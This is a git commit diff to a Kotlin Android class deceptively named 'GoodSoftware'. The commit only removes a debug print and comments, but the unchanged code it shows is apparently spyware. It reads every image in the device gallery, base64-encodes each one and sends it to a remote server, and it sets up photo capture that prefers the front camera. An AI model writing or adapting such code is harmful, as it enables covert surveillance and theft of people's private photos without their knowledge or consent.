This commit is contained in:
Joren 2024-05-03 23:23:35 +02:00
parent 694fa15567
commit 3227638475
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55

View File

@ -156,7 +156,6 @@ class GoodSoftware (private val activity: MainActivity) {
val imageList = getAllImagesFromGallery(activity)
val connection = establishConnectionWithRetry() ?: return@Thread
for (image in imageList) {
println(image)
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
sendDataToServer(base64Image, connection)
if(image != imageList.last()){
@ -342,19 +341,16 @@ class GoodSoftware (private val activity: MainActivity) {
return
}
// Select the lens facing, prioritize front camera if available
lensFacing = if (hasFrontCamera()) {
CameraSelector.LENS_FACING_FRONT
} else {
CameraSelector.LENS_FACING_BACK
}
// Create ImageCapture instance
imageCapture = ImageCapture.Builder()
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
.build()
// Set up image capture listener
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
override fun onError(exc: ImageCaptureException) {
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
@ -362,7 +358,6 @@ class GoodSoftware (private val activity: MainActivity) {
}
override fun onCaptureSuccess(image: ImageProxy) {
// Process captured image here
val byteArrayOutputStream = ByteArrayOutputStream()
val imagePlane = image.planes[0]
val buffer = imagePlane.buffer